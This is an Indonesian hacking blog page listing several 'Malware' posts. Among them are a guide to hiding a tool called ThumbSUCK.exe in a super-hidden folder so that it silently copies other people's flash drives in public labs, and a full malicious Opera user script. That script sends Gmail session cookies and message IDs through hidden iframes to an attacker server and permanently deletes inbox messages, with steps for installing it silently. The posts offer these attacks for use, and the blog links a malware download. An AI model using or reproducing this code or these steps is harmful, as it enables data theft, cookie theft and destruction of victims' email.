Sobat gempar69 tadi pagi nemu di sebelah tool ini kegunaan nya
buat nge block site facebook biar ga bs online atau apa lah gitu
buat yg suka iseng di warnet bs gunainini biar pd ga bs masuk facebook
atau buat d rumah2 yang anak nya bandel susah di kasih tau .
yg ga mau sekolah malah maen facebookatau bahkan istri anda yang selingkuh tiap malam ga tidur Mulai saat ini BLOCK saja hahaha
priview nya bro
tinggal klik saja Block beres dahterus coba buka browser anda mozilla
atau apa lah terus coba masuk facebook bisa atau tidaksss hihih
kalo mau unblock tinggal unblock saja inget jika sudah block atau unblock
usahakan browser anda close dan buk lagi
download
Tampilkan postingan dengan label Malware. Tampilkan semua postingan
Tampilkan postingan dengan label Malware. Tampilkan semua postingan
Sabtu, 24 September 2011
0 Hot Baru Facebook Blocker (Buat ank yang buandel yg suka main facebook lupa diri)
17.18 Under
Malware
From deny saputra
[0 Comment]
[0 Comment]
Sabtu, 17 September 2011
0 SPYWARE
20.13 Under
Malware
From deny saputra
[0 Comment]
[0 Comment]
Spyware merupakan program yang dibuat dengan tujuan untuk memata-matai (spy). Spyware bukanlah suatu ancaman biasa, namun bisa jadi sangat berbahaya karena sesuai dengan namanya, Spyware sangat mengancam privasi dan bisa menurunkan kinerja suatu system & jaringan.
Spyware telah merajalela sejak tahun 1994. Saat itu, Spyware yang cukup terkenal digunakan adalah Gator. Spyware ini masih exist sampai saat ini. Sejalan dengan perkembangan teknologi, semulanya Spyware ditujukan untuk bisnis periklanan. Namun kini semua telah berubah, spyrware digunakan unuk tujuan destructive.
Kategori Spyware
Spyware memiliki beberapa kategori, yaitu:
- Trojan / backdoor
- Adware
- Keylogger
- DDoS agent (zombie)
- Sniffer, password cracker
- Browser Helper Object
- P2P contohnya kazaa.
- RAT – Remote Access Tool/Trojan.
Kalau kita lihat ada yang overlapping dengan solusi anti-virus yaitu di bagian trojan. Solusi anti-virus umumnya bisa mendeteksi keberadaan trojan di dalam sistem kita. Namun untuk kategori lain seperti adware, P2P, hacker tools, umumnya anti virus tidak memasukkan kategori ini di dalam deteksi mereka.
Lalu kenapa tool seperti sniffer digolongkan ke dalam Spyware ??? Ada alasan di belakangnya. Sebagaimana kita ketahui bahwa tool sniffer bisa mempunyai dua sisi yaitu sisi yang baik atau berguna bagi administrator. Sniffer bisa digunakan oleh administrator untuk melakukan ‘tracing’ atau analisa paket di jaringan mereka. Network Load utility yang untuk mengetahui kapasitas bandwidth juga menggunakan teknologi sniffer. Tool IDS – Intrusion Detection System yang berbasis network juga menggunakan teknologi sniffer untuk mendeteksi adanya intrusion di satu jaringan.
Namun di sisi lain ternyata sniffer bisa digunakan untuk tujuan yang tidak baik misalnya untuk sniffing user-id dan password yang digunakan di suatu jaringan. Sehingga apabila sistem authentication yang ada tidak menggunakan enkripsi untuk password dan user-id atau berupa ‘plain-text’ maka sniffer dapat dengan mudah melihat user-id dan password tersebut.
Selain itu ada kategori Spyware yang orang dengan senang hati untuk meng-installnya yaitu P2P – Point to Point software seperti contohnya adalah Kazaa – P2P untuk sharing file yang sangat populer. Di dalam Kazaa ini banyak sekali terdapat adware – software iklan – karena di situlah mereka mendapatkan profit. Kategori ini yang dimasukkan ke dalam ‘user awareness installation’ artinya user yang melakukan atau trigger instalasi sendiri bukan via embedded installation misalnya saat lakukan download atau akses ke Internet.
Well, selalu berhati-hatilah… 
//E.O.F
0 Cara Menghapus File Terproteksi Melalui Registry
20.04 Under
Malware
From deny saputra
[0 Comment]
[0 Comment]
Okay, langsung aja yach kita menuju ke langkah-langkah…
[Langkah 1]
Buka Text Editor kesayangan anda. Misalnya NOTEPAD.
[Langkah 2]
Ketik script Registry berikut:
REGEDIT4 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager] "PendingFileRenameOperations"=hex(7):5c,3f,3f,5c,LOKASI FILE ANDA,00,00,00
Lokasi file Anda harus dikonversikan kedalam heksa terlebih dahulu. Berikut adalah tabel konversinya:
A =Tukar dengan> 41 a =Tukar dengan> 61
B =Tukar dengan> 42 b =Tukar dengan> 62
C =Tukar dengan> 43 c =Tukar dengan> 63
D =Tukar dengan> 44 d =Tukar dengan> 64
E =Tukar dengan> 45 e =Tukar dengan> 65
F =Tukar dengan> 46 f =Tukar dengan> 66
G =Tukar dengan> 47 g =Tukar dengan> 67
H =Tukar dengan> 48 h =Tukar dengan> 68
I =Tukar dengan> 49 i =Tukar dengan> 69
J =Tukar dengan> 4a j =Tukar dengan> 6a
K =Tukar dengan> 4b k =Tukar dengan> 6b
L =Tukar dengan> 4c l =Tukar dengan> 6c
M =Tukar dengan> 4d m =Tukar dengan> 6d
N =Tukar dengan> 4e n =Tukar dengan> 6e
O =Tukar dengan> 4f o =Tukar dengan> 6f
P =Tukar dengan> 50 p =Tukar dengan> 70
Q =Tukar dengan> 51 q =Tukar dengan> 71
R =Tukar dengan> 52 r =Tukar dengan> 72
S =Tukar dengan> 53 s =Tukar dengan> 73
T =Tukar dengan> 54 t =Tukar dengan> 74
U =Tukar dengan> 55 u =Tukar dengan> 75
V =Tukar dengan> 56 v =Tukar dengan> 76
W =Tukar dengan> 57 w =Tukar dengan> 77
X =Tukar dengan> 58 x =Tukar dengan> 78
Y =Tukar dengan> 59 y =Tukar dengan> 79
Z =Tukar dengan> 5a z =Tukar dengan> 7a
0 =Tukar dengan> 30 ~ =Tukar dengan> 7e
1 =Tukar dengan> 31 ` =Tukar dengan> 60
2 =Tukar dengan> 32 ! =Tukar dengan> 21
3 =Tukar dengan> 33 @ =Tukar dengan> 40
4 =Tukar dengan> 34 # =Tukar dengan> 23
5 =Tukar dengan> 35 % =Tukar dengan> 25
6 =Tukar dengan> 36 $ =Tukar dengan> 24
7 =Tukar dengan> 37 ^ =Tukar dengan> 5e
8 =Tukar dengan> 38 & =Tukar dengan> 26
9 =Tukar dengan> 39 ( =Tukar dengan> 28
) =Tukar dengan> 29
_ =Tukar dengan> 5f
- =Tukar dengan> 2d
+ =Tukar dengan> 2b
= =Tukar dengan> 3d
{ =Tukar dengan> 7b
} =Tukar dengan> 7d
[ =Tukar dengan> 5b
] =Tukar dengan> 5d
; =Tukar dengan> 3b
' =Tukar dengan> 27
, =Tukar dengan> 2c
. =Tukar dengan> 2e
\ =Tukar dengan> 5c
: =Tukar dengan> 3aPisah masing-masing nilai hasil konversi dengan tanda koma (,). Jadi misalnya Anda ingin menghapus file terproteksi yang berada di lokasi:
D:\spyroZONE\virus.exe
Maka Anda harus menuliskannya pada script anda sebagai berikut (Value datanya jangan dipisah dengan spasi):
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations"=hex(7):5c,3f,3f,5c,44,3a,5c,73,70,79,72,
6f,5a,4f,4e,45, 5c,76,69,72,75,73,2e,65,
78,65,00,00,00Ingat!!! value datanya jangan dipisah dengan spasi tuliskan semuanya dalam 1 baris. Perhatikan, berikut ini adalah lokasi file tadi:
44 3a 5c 73 70 79 72 6f 5a 4f 4e 45 5c 76 69 72 75 73 2e 65 78 65 D : \ s p y r o Z O N E \ v i r u s . e x e
Jangan lupa, di akhir alamat file tambahkan 3 buah double 0 :
,00,00,00
[Langkah 3]
Simpan dengan nama terserah.reg (Klik File -> Save. Pada kolom isian File name, isikan terserah.reg dan pilih All Files pada box pilihan Save As type. Klik Save sesudahnya.). Setelah itu, lalu klik ganda pada file terserah.reg tersebut. Pilih [YES] lalu [OK].
Kini restartlah komputer anda. Setelah itu lihatlah file yang Anda targetkan. Jika langkah-langkah diatas Anda ikuti dengan benar, maka file terproteksi yang ditargetkan tadi kini tentunya telah terhapus 
Bagaimana jika ingin menghapus lebih dari satu file??
Sambungkan saja pada value datanya dengan format yang sama. Pisahkan dengan: 00,00
Misalnya file yang ingin Anda hapus berada di lokasi:
D:\spyroZONE\virus.exe
dan
D:\spyroZONE\viruses.exe
Maka Anda cukup menuliskannya demikian:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations"=hex(7):5c,3f,3f,5c,44,3a,5c,73,70,79,72,6f,5a,4f,4e,
45,5c,76,69,72,75,73,2e,65,78,65,00,00,5c,3f,3f,5c,
44,3a,5c,73,70,79,72,6f,5a,4f,4e,45, 5c,76,69,72,75,
73,65,73,2e,65,78,65,00,00,00Ingat!!! value datanya jangan dipisah dengan spasi tuliskan semuanya dalam 1 baris.
Sekian, sampai jumpa di artikel berikutnya ^_^
//E.O.F
0 Mencuri Data-Data Milik Pengguna FLASHDISK
05.55 Under
Malware
From deny saputra
[0 Comment]
[0 Comment]
FlashDISK merupakan media penyimpanan portable yang kini makin banyak digunakan oleh para pengguna komputer di Indonesia. Selain harganya yang makin murah, kapasitasnya pun kian besar dengan ukuran fisik yang kian mini dari generasi ke generasi
Nah, biasanya nich, orang seringkali akan menyimpan data-data sensitifnya di dalam flashdisk. Dan tak jarang, seseorang menyimpan PASSWORD account-accountnya pada suatu file teks yang disimpan dalam FlashDISK.
Anda mengincar target yang demikian? caranya cukup mudah. Alat dan bahan yang perlu anda persiapkan adalah:
ThumbsuCK.exe
(download secara cuma-cuma di member area http://gempar69.blogspot.com)
(download secara cuma-cuma di member area http://gempar69.blogspot.com)
Setelah anda mendownloadnya, copy ThumbSUCK.exe kedalam suatu directory tersembunyi. Misalnya saja anda letakkan di Local Drive D:\. Buatlah suatu directory dengan atribut SUPER HIDDEN agar korban tidak curiga. Ikuti panduan berikut:
- Buatlah directory baru di D:\ atau dimanapun anda suka. Beri nama terserah anda. Pada contoh ini saya beri nama gudangkorban. Salinlah ThumbSUCK.exe kedalam directory tersebut lalu klik 2X untuk menjalankannnya.
- Klik Start – Run lalu ketik cmd untuk memanggil Windows Command Processor.
- Kini saatnya menjadikan directory tersebut menjadi super hidden. Gunakan saja perintah attrib dengan format:
attrib lokasifolder +s +h
Karena nama directory yang tadi dibuat adalah gudangkorban yang terletak di driveD:\ maka ketik:
attrib d:\gudangkorban +s +h
lalu tekan ENTER.
Selesai sudah.. kini cobalah anda tancapkan sendiri FlashDISK anda. Data-data anda yang berada didalam FlashDISK akan disalin dengan silent mode oleh ThumbSUCK.exe kedalam directory gudangkorban di suatu folder dengan nama sesuai dengan volume label Flashdisk.
Karena directory gudangkorban diberi atribut super hidden, maka hilangkan terlebihdahulu tanda centang pada opsi Hide Protected Operating System Files (Recomended)dan beri centang pada Show Hidden Files and Folders di Folder Options (Tools -> Folder Options pada Windows Explorer).
Untuk mendisable aplikasi ini, gunakan Windows TaskManager (CTRL-ALT-DELETE) atau gunakan saja Task Manager kesayangan anda.
Bagaimana jika ditanam di komputer public? atau ditanam di lab-lab kampus? Hmm.. dengan sedikit beramain-main Registry, anda dapat membuat aplikasi ini otomatis berjalan ketika windows startup ;p hehehe.. tentunya anda bisa panen data pribadi orang lain ^_^
//E.O.F
0 Malicious User Script: Automatically Delete Messages in GMAIL Inbox
05.52 Under
Malware
From deny saputra
[0 Comment]
[0 Comment]
||—[ T.O.C
I. PREFACE
II. User Script
II.1 Apa itu User Script?
II.2 Manfaat User Script
II.3 Browser Yang mendukung User Script
II.4 Resiko Keamanan User Script
III. AUTODELETION GMAIL MESSAGES
III.1 Malicious User Script
III.2 Menginstall User Script secara manual
III.3 Menginstall User Script secara background
IV. PROOF OF CONCEPT
IV.1 OPGM-Autodeletion.exe
IV.2 Presentation and Demonstration Video (ENGLISH)
V. PREVENTION
VI. PENUTUP
VII. REFERENSII. PREFACE
Alice adalah pengguna setia GMAIL dan mempercayakan urusan browsing pada Opera Browser. Beberapa hari ini Alice menyadari ada sesuatu yang aneh dengan emailnya. Alice mendapati ada puluhan email penting dalam Inbox-nya yang hilang secara misterius, padahal Alice tidak pernah merasa menghapusnya. Alice menduga ada seseorang yang telah membajak GMAIL-nya dan menghapus email-email penting di Inbox. Alice segera mengubah password Accountnya.
Keesokan harinya, Alice kembali mendapati puluhan emailnya hilang. Walaupun Alice telah mengubah password berkali-kali, tetap saja ia mendapati puluhan email hilang secara misterius setiap kali ia login. Dan puncaknya beberapa hari kemudian, seluruh pesan di Inbox alice musnah tanpa jejak..
Apa yang salah dengan Alice? Apa yang sebenarnya terjadi dengan GMAIL Alice?
Awalnya, salah satu tujuan diciptakannya Virus/Worm adalah untuk melakukan pengrusakan-pengrusakan pada komputer korbannya. Seiring dengan perkembangan teknologi dan pola pikir Attacker, virus/worm mulai dirancang untuk melakukan Auto-Hacking untuk menyerang suatu aplikasi web.
Artikel ini akan membahas tentang bagaimana cara menghapus otomatis email-email dalam inbox pengguna Google Mail (GMAIL) dengan memanfaatkan malware yang dirancang untuk melakukan Auto-Install Malicious User Script pada browser Opera 9.X.X - 10.X.X
Hmmm.. coba Anda bayangkan jika konsep ini diterapkan pada Virus/Worm yang mampu menyebar luas. Dalam sekejab, browser-browser pengguna internet disulap menjadi mesin Hacking otomatis yang bekerja secara background setiap kali user berselancar, mencuri informasi-informasi sensitif, dan melakukan tindakan-tindakan merugikan pada account korbannya.. O_O
II. User Script
(II.1)--// Apa itu User Script?
Pada pendahuluan telah disinggung bahwa konsep ini memanfaatkan dukungan User Script yang dimiliki oleh hampir semua browser saat ini. User Script (baca: User JavaScript) yang dibahas dalam artikel ini adalah fitur yang disediakan oleh browser sebagai sarana bagi user untuk menyisipkan suatu JavaScript pada browser agar otomatis dijalankan oleh browser ketika suatu sumber-sumber web diterjemahkan.
(II.2)--// Manfaat User Script
Dengan adanya User Script, pengguna dapat membuat web kesayangannya tampil dan berperilaku sesuai dengan keinginannya sendiri. Misalnya saja:
- Mengganti warna background website kesayangan Anda (Misalnya Anda ingin warna background Google menjadi bernuansa gelap)
- Auto-fill form, Auto Login
- Memblokir iklan-iklan pada web yang Anda kunjungi
- Mengubah format text, border, link navigasi, etc..
Semua itu memungkinkan dengan adanya User JavaScript.
Sebagai contoh, dulu ketika GMAIL belum memiliki Themes yang beragam, saya menggunakan User Script untuk membuat GMAIL saya tampil penuh warna dan menambahkan fungsi-fungsi tambahan untuk mempermudah dan menambah kenyamanan saya dalam ber-email ria.
Belum pernah mencicipi User Script? Ada banyak sekali User Script siap pakai yang bisa anda coba di Userscript.org
(II.3)--// Browser Yang Mendukung User Script
Hampir semua major browser memiliki dukungan User Script. Berikut ini merupakan daftar browser beserta plugin yang dibutuhkan untuk dapat menjalankan User Script:
- Opera (Available by default)
- Mozilla (Greasemonkey)
- IE (http://google.com/search?q="Greasemonkey in Internet Explorer")
- Chrome (http://google.com/search?q="Greasemonkey in Google Chrome")
- Safari (http://google.com/search?q="Greasemonkey in safari")
Beberapa versi tebaru browser kini tampaknya mulai mengikuti Opera dengan menyertakan dukungan User Script tanpa harus menggunakan plugin. Misalnya saja Internet Explorer yang sejak IE7 pro yang secara default memiliki dukungan User Script.
(II.4)--// Resiko Keamanan User Script
Kenyamanan selalu saja berbanding terbalik dengan keamanan. Kehadiran User Script juga memiliki resiko yang sangat besar untuk disalahgunakan. Misalnya:
- Pencurian Informasi sensitif (Cookies, Username + password, etc..)
- Auto posting, Autodeletion, Spamming, menyebarkan malware
- Dan masih banyak lagi. Contohnya implementasi kali ini, menghapus otomatis pesan-pesan dalam inbox pengguna GMAIL ^_*
Yapz, walaupun beberapa memang membutuhkan plugin tertentu, namun Attacker bisa saja dengan mudah melakukan instalasi plugin secara background.
III. AUTODELETION GMAIL MESSAGES
(III.1)--// Malicious User Script
Pertama-tama kita harus merancang User Script yang akan disisipkan. Script inilah yang akan bekerja menghapus pesan-pesan dalam Inbox korban.
- Deteksi apakah URL pada Addres bar adalah http://mail.google.com/mail/?shva=1 atau http://mail.google.com/mail/. Hal ini dilakukan untuk memastikan script kita hanya akan berjalan ketika user melakukan login pada GMAIL.
- Jika iya, maka selanjutnya baca source code halaman tersebut untuk menemukan Messages ID pesan-pesan yang tampil.
- Kirim request secara background menuju:
http://mail.google.com/mail/h/writeanything/?a=dm&at=[Nilai cookies GMAIL_AT]&m=[Messages ID]
URL diatas akan meminta GMAIL untuk memindahkan pesan dengan ID yang terdapat pada parameter m kedalam Trash. Hal yang menarik pada struktur diatas adalah, saya mendapati /writeanything/ merupakan kode yang digenerate secara acak oleh GMAIL setiap sesi login. Hal ini biasa dilakukan untuk mencegah CSRF. Namun pada kenyataannya, kode-kode tersebut dapat diganti dengan string apapun. - Kirim request secara background menuju:
http://mail.google.com/mail/h/writeanything/?t=[Messages ID]&s=t&at=[Nilai cookies GMAIL_AT]&nvp_a_dl=Delete Forever
URL diatas akan meminta GMAIL untuk menghapus secara permanen pesan dengan ID yang terdapat pada parameter t dari Trash. - Lakukan perulangan langkah 3 dan 4 hingga Messages ID habis.
Masalah yang timbul adalah, GMAIL akan mengalami Error jika kita melakukan request begitu saja terhadap kedua URL pada langkah 3 dan 4 di halaman yang sama dengan halaman tempat user beraktivitas.
Awalnya saya mencoba mengunakan IFRAME untuk mengatasi masalah tersebut. Namun ternyata, GMAIL mampu mendeteksi IFRAME sehingga kedua URL tersebut akan melompat keluar dari IFRAME. Fufufu.. tentunya hal tersebut akan menimbulkan kecurigaan user 
Hmm.. akhirnya saya menggunakan metode berikut untuk menjalankan URL pada langkah 3 dan 4 di atas secara background:
- Siapkan file del.php yang menerima parameter x dan y. Parameter x bertugas mengirim nilai cookies GMAIL_AT, parameter y bertugas mengirim Messages ID.
- Kirim request menuju del.php melalui hidden IFRAME
- del.php akan menciptakan tag <IMG dengan nilai SRC berupa URL untuk menghapus pesan dari Inbox dan mengosongkan Trash. Saya memanfaatkan teknik CSRF dengan menyisipkan request menuju aplikasi web GMAIL pada tag IMG agar URL yang di request tidak keluar dari hidden IFRAME ^^
Berikut adalah source code Opera Malicious User Script berdasarkan logika diatas:
01 | // ------------------------------------------- |
02 | // Author : SPYRO KiD |
03 | // Mail : root\at\spyrozone.net |
04 | // URL : http://spyrozone.net |
05 | // ------------------------------------------- |
06 | // Description: |
07 | // Opera User Script to Automatically delete |
08 | // messages in GMAIL INBOX. |
09 | // ------------------------------------------- |
10 |
11 | (function(opera){ |
12 | // path to del.php |
13 | var attackerURL = "http://spyrozone.black-it.net/playground/gm-autodeletion/" |
14 | var m=0; |
15 | var m2=0; |
16 | var delURL=""; |
17 | var gMsgID=""; |
18 | var getURL = document.location.toString(); |
19 | window.addEventListener('DOMContentLoaded', function(e){ |
20 | if (getURL=="http://mail.google.com/mail/?shva=1"||getURL=="http://mail.google.com/mail/"){ |
21 | readBody = document.body.innerHTML; |
22 | arrLine = readBody.split("\n"); |
23 | //Get messages ID |
24 | for(s=0;s<arrLine.length;s++){ |
25 | strArr = arrLine[s].toString(); |
26 | m = strArr.indexOf('",1,0,['); |
27 | m2 = strArr.indexOf('",0,0,['); |
28 | if(m!=-1||m2!=-1){ |
29 | if(m >1){msID = strArr.substring(m-54,m-38)}else{if(m2 >1){msID = strArr.substring(m2-54,m2-38)}} |
30 | if(gMsgID!=""){gMsgID = msID+"|"+gMsgID;}else{gMsgID = msID;} |
31 | }} |
32 | //Create hidden DIV |
33 | if (gMsgID!=""){ |
34 | msgArr = gMsgID.split("|"); |
35 | var div = document.createElement('div'); |
36 | div.style.position= 'fixed'; |
37 | div.style.top= '-600px'; |
38 | div.style.left = '-600px'; |
39 | div.style.width= '100%'; |
40 | for(p=0;p<msgArr.length;p++){ |
41 | //Create hidden IFRAME to send all messages ID to Attacker Server |
42 | var iframe=document.createElement("iframe"); |
43 | iframe.setAttribute('width', '0'); |
44 | iframe.setAttribute('height', '0'); |
45 | iframe.setAttribute('src', attackerURL+'del.php?a=i&s='+getCookie("GMAIL_AT")+'&m='+msgArr[p].toString()); |
46 | div.appendChild(iframe); |
47 | }document.body.appendChild(div); |
48 | } |
49 | }}, false); |
50 | function getCookie(c_name){ |
51 | if (document.cookie.length>0){ |
52 | c_start=document.cookie.indexOf(c_name + "="); |
53 | if (c_start!=-1){ |
54 | c_start=c_start + c_name.length+1; |
55 | c_end=document.cookie.indexOf(";",c_start); |
56 | if (c_end==-1) c_end=document.cookie.length; |
57 | return unescape(document.cookie.substring(c_start,c_end)); |
58 | } |
59 | }return "";} |
60 | })(window.opera); |
(III.2)–// Menginstall User Script Secara Manual
Defaultnya, untuk menginstall suatu User Script pada Opera kita harus menentukan dulu directory default User Script dengan langkah-langkah berikut:
- Pada menu browser Opera, klik menu Tool -> Preferences
- Klik tab Advanced -> Contents lalu klik JavaScript Options
- Pada field User JavaScript files, klik tombol [Choose..], pilihlah sebuah folder yang ingin Anda jadikan directory default User Script. Nantinya, file-file javascript yang berada dalam directory tersebut akan dijalankan oleh opera sebelum script apapun pada web dijalankan. Klik [OK] pada semua kotak dialog. Untuk lebih jelasnya, perhatikan gambar 3.1 berikut ini:Menentukan lokasi directory User Script pada Browser Opera
Opera menyimpan setting user pada suatu file .ini yang terletak pada subdirectory %APPDATA%\Opera\. Nama subdirectory dan nama file .ini tersebut tidak sama untuk masing-masing versi Opera. Untuk melihat lokasi file penyimpanan setting browser Opera Anda, ketik opera:about pada Address Bar Opera Anda.
Lokasi file setting Browser Opera
Pastikan browser Opera Anda dalam keadaan tertutup, lalu buka file .ini tersebut dengan text editor. Anda akan melihat baris-baris konfigurasi Opera. Konfigurasi User Script berada pada baris-baris berikut ini:
User JavaScript File=C:\anywhere\ User JavaScript=1 Always Load User JavaScript=1
Nilai pada User JavaScript File merupakan lokasi directory User Script yang boleh kita tentukan sesuka hati. Kedua nilai setting di bawahnya harus bernilai 1 agar User Script dijalankan oleh Opera.
(III.3)–// Menginstall User Script Secara Background
Nah, berbekal informasi yang telah dibahas sebelumnya, kita dapat merancang sebuah malware untuk melakukan instalasi User Script secara otomatis dengan 3 langkah mudah:
- Ciptakan Malicious User Script pada directory X.
- Deteksi adanya proses dengan nama Opera.exe, jika ada maka hentikan proses tersebut. Hal ini penting dilakukan karena Opera akan mengabaikan perubahan pada file preferences yang dilakukan ketika browser sedang berjalan.
- Manipulasi setting pada file pengaturan Opera sesuai dengan informasi yang telah saya sebutkan sebelumnya. Yang perlu diperhatikan adalah, kita tidak boleh sembarang melakukan penulisan file pada file .ini tersebut. Kita harus melakukan penulisan pada file tersebut dalam format UTF-8.
Sederhana bukan? silahkan gunakan kemampuan pemrograman Anda untuk mewujudkannya ^^
IV. PROOF OF CONCEPT
(IV.1)–// OPGM-Autodeletion.exe
ReadMe.txt ------------------------------------------------------- File Name : OPGM-AutoDeletion.exe Version : 1.3.0 Release date : 10/09/2009 Targets : - Opera 9.x - 10 - Google Mail (GMAIL) Download : http://www.spyrozone.net/hacking/?p=656 ...oO0--( Description : _______________________________________________________ This malware will create malicious user JavaScript and configure Opera 9.x-10.x to load it. The malicious user JavaScript will DELETE all "listed message" in GMAIL INBOX permanently (Default: 50 messages) without any notification. ------------------------------------------------------- ::'.: ''$; Author : SPYRO KiD """:; URI : http://spyrozone.net $;. Mail : root[~|@|~]spyrozone.net $;' ...... ..$:' $$;. ;$$$$$$$$$$: :$$$$. $$$$$$$$$$$$$.. ;$$$$;. '$$$$$$$$$$$$$$;.$$$'$$; '"$$$$$$$$$$$$$$$$$ '$$; ,. . , ,: ':$$$$$$$$$$$$$$$ '$$. :;'"" "'.: :$:":$$$$$$$$$$$ '$; ,;:;;"" '"'$;..;.;$' ""$$$$$$$$: '$.$$$$:"" '"' ""'""" ;.$$$$$$$$"" '"""' ,;$$$$$$$:"" '$$$$$$$;.;. "Break the rules """'""""":$.. and open your mind." ,$$ ;$$: ,;'$$' ":"$: ::::.
Ah, jadi Anda sedang terlalu sibuk untuk menciptakan malware Anda sendiri dengan konsep yang telah saya jabarkan? Ok dech, silahkan download OPGM-Autodeletion.exe di Members Area. Malware sederhana tersebut menggunakan konsep yang telah dibahas dalam artikel ini untuk menginstall Malicious User Script secara background untuk menghapus pesan-pesan dalam INBOX GMAIL pengguna Opera.
(IV.2)–// Presentation and Demonstration Video
Video ini akan sangat membantu Anda untuk lebih memahami teori yang telah saya bahas.
- File size : 8.9 MB
- Language : ENGLISH
V. PREVENTION
Ada di video pada BAB IV ^^
VI. PENUTUP
yAPZ, mudah-mudahan Artikel ini dapat menambah wawasan dan meningkatkan kewaspadaan Anda
Jika ada waktu, saya akan melanjutkan explorasi untuk melakukan metode serupa pada browser-browser lain.
Cha….. V['_']+
VII. REFERENSI
Tertera pada Video di bab IV.2 
//E.O.F
Langganan:
Postingan (Atom)
Search Here
Category
- Accelerator [32]
- Activator [6]
- Antivirus [17]
- Audio/Video Editor [14]
- Converter [6]
- Crack [13]
- Cracking [23]
- Defacer [4]
- Ebook [4]
- Game [24]
- Hacking [27]
- Information [24]
- Malware [6]
- Scurity [25]
Popular Post
-
Apakah teman-teman di Jasakom pernah melihat CMS yang satu ini? Jcow social networking...Ya, memang demikian namanya...Jcow menawarkan apl...
-
Anda punya Windows 7 yg gak genuine, tapi pengen update online karena gak mau ribet download dan install secara offline yg menyita banyak ...
-
Daemon Tools merupakan sebuah aplikasi yang dapat menciptakan sebuah virtual drive di komputer anda. Vitual drive atau bisa juga disk ima...
-
Converter PDF to Word adalah suatu aplikasi yang penting buat pelajar apalagi anak kuliah. Terkadang disaat kita mencari file untuk tuga...
-
Sobat gempar69 kali ini saya sahre tentang Bypass Compulsory Registrations apa itu ? Bypass Compulsory Registrations Merupakan site yang m...
-
Ini berawal saat ditanya cul punya program membuat vidio ini bisa dibuka lewat hape gak? Pertanyaan yang aneh..ya jelas punya lah.. Sedik...
-
sobat gempar69 Microsoft Office telah menjadi standar program dasar untuk perkantoran, bisnis dan pendidikan. Kalo kemarin office 200...
-
Pasti sobat gempar69 pernah menjumpai pesan error “Couldn’t find bla,, blaa, .dll…” Ini juga terjadi saat acul instal game need for speed...
-
Berhubung saya lagi membuat file help untuk suatu aplikasi, sehingga saya memerlukan software ini tetapi sangat disayangkan licensenya “Tri...
Followers
About Author
- deny saputra
- kegagalan awal dari kesuksesan